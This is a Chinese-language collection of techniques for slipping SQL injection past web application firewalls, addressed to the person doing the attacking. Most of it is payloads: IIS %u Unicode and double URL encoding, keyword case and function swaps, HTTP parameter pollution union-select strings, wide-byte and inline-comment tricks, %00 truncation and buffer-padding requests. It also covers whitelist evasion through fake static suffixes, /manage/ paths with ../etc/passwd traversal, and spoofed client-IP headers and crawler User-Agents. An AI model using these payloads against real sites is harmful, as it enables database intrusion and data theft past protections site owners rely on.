服务器特性

1.%特性(asp+iis)

在该环境下当输入s%elect时，在WAF层解析出来的结果是s%elect，但在iis+asp的环境中，解析结果为select

可能是iis下asp.dll解析时的问题，aspx+iis环境没有这个特性

2.%u特性(asp+iis和aspx+iis)

iis支持unicode解析

select -> s%u006c%u0006ect

被iis解析后仍为select

3.另类%u特性(asp+iis)

主要利用unicode在iis解析后会被转换成multibyte，但转换的过程中可能出现:多个widechar会有可能转换为同一个字符。如select中的e对应的unicode为%u0065，但%u00f0同样会被转换成为e。

s%u0065lect->select s%u00f0lect->select

union+select+from:

s%u0045lect = s%u0065lect = %u00f0lect

u --> %u0055 --> %u0075

n -->%u004e --> %u006e

i -->%u0049 --> %u0069

o -->%u004f --> %u006f -->%u00ba

s -->%u0053 --> %u0073

l -->%u004c --> %u006c

e -->%u0045 --> %u0065-->%u00f0

c -->%u0043 --> %u0063

t -->%u0054 -->%u0074 -->%u00de -->%u00fe

f -->%u0046 -->%u0066

r -->%u0052 -->%u0072

m -->%u004d -->%u006d

4. apache畸形method

在GET请求中，GET可以替换为任意参数名字，不影响apache接收参数。

TEST /sql.php?id=1 HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

应用层特性

1.大小写/关键字替换

绕过只针对特定关键字，大小写不敏感。

id=1 UnIoN/\*\*/SeLeCT 1,user()

将关键字进行等价替换：

Hex() bin() 等价于ascii()

Sleep() 等价于 benchmark()

Mid()substring() 等价于 substr()

@@user 等价于 User()

@@Version 等价于 version()

2.双重url编码

s -> %73 -> %25%37%33

一般情况下在代码层默认做一次url解码，这样解码之后的数据一般不会匹配到规则，达到了bypass的效果

3.变换请求方式

将GET变成POST提交

<html><head></head><body>

<form action="http://192.168.204.128/test.php" method="post" enctype="multipart/form-data">

<input type="text" name="id">

<input type="submit">

</form></body>` `</html>

上传数据包参数：

------WebKitFormBoundaryACZoaLJJzUwc4hYM

Content-Disposition: form-data; name="id"

1

from information\_schema.SCHEMATA

------WebKitFormBoundaryACZoaLJJzUwc4hYM--

4.HPP参数污染

?id=1&id=2&id=3的形式，此种形式在获取id值时不同的web技术获取的值是不一样的

Asp.net + iis：id=1,2,3

Asp + iis：id=1,2,3

Php + apache：id=3

MSSQL:

大小写：?id=1 UNION/\*&ID=\*/SELECT 1,2/\*&Id=\*/FROM ADMIN

GET+POST形式:

http://192.168.125.140/test/sql.aspx?id=1 union/\*

post: id=2\*/select null,null,null

利用逗号：?id=1 union select 1&id=2&id=3&id=4 from admin--（无逗号形式）

?a=1+union/\*&b=\*/select+1,pass/\*&c=\*/from+users--(分割参数注入)

无效参数形式：?a=/\*&sql=xxx&b=\*/

备注：a,b为无效参数，让waf误以为我们输入的语句是在注释符里面执行的所以就不拦截

溢出形式：?id=1/\*&id=\*//\*&id=\*//\*......&id=\*//\*&id=\*/ union select null,system\_user,null from INFORMATION\_SCHEMA.schemata

Mysql：

?id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=….. &id=1 union select 1,2 from admin

5.宽字节

宽字节关键字对照表：

union = uю%69яю这里把i不用宽字节 直接url编码 其他的字符都用对应的宽字节

select = こхlх%уt //t不编码 其他的都宽字节 中间插上%

from = цR%яэ //宽字节+%

空格=%20=%ва //в是2的款字符 а是0的宽字符

, = Ь //,号的宽字节

数据库特性

1、Mysql技巧

（1）mysql注释符有三种：#、/\*...\*/、-- ... (注意--后面有一个空格)

（2）空格符:[0x09,0x0a-0x0d,0x20,0xa0]

（3）特殊符号：%a 换行符

可结合注释符使用%23%0a，%2d%2d%0a。

（3）内联注释：

/\*!UnIon12345SelEcT\*/ 1,user() //数字范围 1000-50540

（4）mysql黑魔法

select{x username}from {x11 test.admin};

2、SQL Server技巧

（1）用来注释掉注射后查询的其余部分：

/\* C语言风格注释

-- SQL注释

; 00％ 空字节

（2）空白符：[0x01-0x20]

（3）特殊符号：%3a 冒号

id=1 union:select 1,2 from:admin

（4）函数变形：如db\_name[空白字符]()

3、Oracle技巧

（1）注释符：--、/\*\*/

（2）空白字符：[0x00,0x09，0x0a-0x0d,0x20]

4、更多特性

那些代码层防护，只能用数据库特性来正面怼，一般一个SQL语句组成包括如下几个位置：

select \* from admin where id=1【位置一】union【位置二】select【位置三】1,2,db\_name()【位置四】from【位置五】admin

通过对常见的5个位置进行FUZZ，可以探索更多能够绕过WAF的数据库特性。

[WAF Bypass数据库特性（Mysql探索篇）](http://mp.weixin.qq.com/s?__biz=MzA3NzE2MjgwMg==&mid=2448903977&idx=1&sn=008229fe76b96e4a229a3a4144fcb284&chksm=8b55df74bc225662a50c05b4e7a1a911e177e3e276658571c0438bba803a69fff0e1748f4812&scene=21#wechat_redirect)

[WAF Bypass数据库特性（MSsql探索篇）](http://mp.weixin.qq.com/s?__biz=MzA3NzE2MjgwMg==&mid=2448903991&idx=1&sn=6bd5b6988dc0464f0a3170de6d5e3cae&chksm=8b55df6abc22567ce93b042363a40f7c78775a95ce37232f5983c361993ef23b0f07ef2515b9&scene=21#wechat_redirect)

[WAF Bypass数据库特性（Oracle探索篇）](http://mp.weixin.qq.com/s?__biz=MzA3NzE2MjgwMg==&mid=2448903996&idx=1&sn=9e2a7f2bd659781d1cd244bcadb74f6b&chksm=8b55df61bc2256774d09cbf4ac24ad83bb53fec33f69c6de2bebfe3dbfbdaed8599b9995b0d1&scene=21#wechat_redirect)

[WAF Bypass数据库特性（Access探索篇）](http://mp.weixin.qq.com/s?__biz=MzA3NzE2MjgwMg==&mid=2448903997&idx=1&sn=b77179090e88e8be9e7eb81ee148202b&chksm=8b55df60bc22567631c12e86450390a9e14cf50fc73e0cd19d17610b8ccc63fd761b25df9705&scene=21#wechat_redirect)

WAF 层

1、逻辑问题

（1）云waf防护，一般我们会尝试通过查找站点的真实IP，从而绕过CDN防护。

（2）当提交GET、POST同时请求时，进入POST逻辑，而忽略了GET请求的有害参数输入,可轻易Bypass。

（3）HTTP和HTTPS同时开放服务，没有做HTTP到HTTPS的强制跳转，导致HTTPS有WAF防护，HTTP没有防护，直接访问HTTP站点绕过防护。

（4）特殊符号%00，部分waf遇到%00截断，只能获取到前面的参数，无法获取到后面的有害参数输入，从而导致Bypass。比如：id=1%00and 1=2 union select 1,2,column\_name from information\_schema.columns

2、性能问题

猜想1：在设计WAF系统时，考虑自身性能问题，当数据量达到一定层级，不检测这部分数据。只要不断的填充数据，当数据达到一定数目之后，恶意代码就不会被检测了。

猜想2：不少WAF是C语言写的，而C语言自身没有缓冲区保护机制，因此如果WAF在处理测试向量时超出了其缓冲区长度就会引发bug，从而实现绕过。

举例1：

?id=1 and (select 1)=(Select 0xA\*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9

PS：0xA\*1000指0xA后面”A"重复1000次，一般来说对应用软件构成缓冲区溢出都需要较大的测试长度，这里1000只做参考也许在有些情况下可能不需要这么长也能溢出。

举例2：

?a0=0&a1=1&.....&a100=100&id=1 union select 1,schema\_name,3 from INFORMATION\_SCHEMA.schemata

备注：获取请求参数，只获取前100个参数，第101个参数并没有获取到，导致SQL注入绕过。

猜想3：多次重复提交同一个请求，有些通过了WAF，有些被WAF所拦截了，性能问题可能导致部分请求bypass。

3、白名单

方式一：IP白名单

从网络层获取的ip，这种一般伪造不来，如果是获取客户端的IP，这样就可能存在伪造IP绕过的情况。

测试方法：修改http的header来bypass waf

X-forwarded-for

X-remote-IP

X-originating-IP

x-remote-addr

X-Real-ip

方式二：静态资源

特定的静态资源后缀请求，常见的静态文件(.js .jpg .swf .css等等)，类似白名单机制，waf为了检测效率，不去检测这样一些静态文件名后缀的请求。

http://10.9.9.201/sql.php/1.js?id=1

备注：Aspx/php只识别到前面的.aspx/.php 后面基本不识别

方式三：url白名单

为了防止误拦，部分waf内置默认的白名单列表，如admin/manager/system等管理后台。只要url中存在白名单的字符串，就作为白名单不进行检测。常见的url构造姿势：

http://10.9.9.201/sql.php/admin.php?id=1

http://10.9.9.201/sql.php?a=/manage/&b=../etc/passwd

http://10.9.9.201/../../../manage/../sql.asp?id=2

waf通过/manage/“进行比较，只要uri中存在/manage/就作为白名单不进行检测，这样我们可以通过/sql.php?a=/manage/&b=../etc/passwd 绕过防御规则。

方式四：爬虫白名单

部分waf有提供爬虫白名单的功能，识别爬虫的技术一般有两种：

1、 根据UserAgent 2、通过行为来判断

UserAgent可以很容易欺骗，我们可以伪装成爬虫尝试绕过。

User Agent Switcher (Firefox 附加组件)，下载地址:

https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher/

常见的爬虫User-Agent：

UserAgent: "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"

UserAgent: "Baiduspider+(+http://www.baidu.com/search/spider.htm)"

UserAgent: "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)"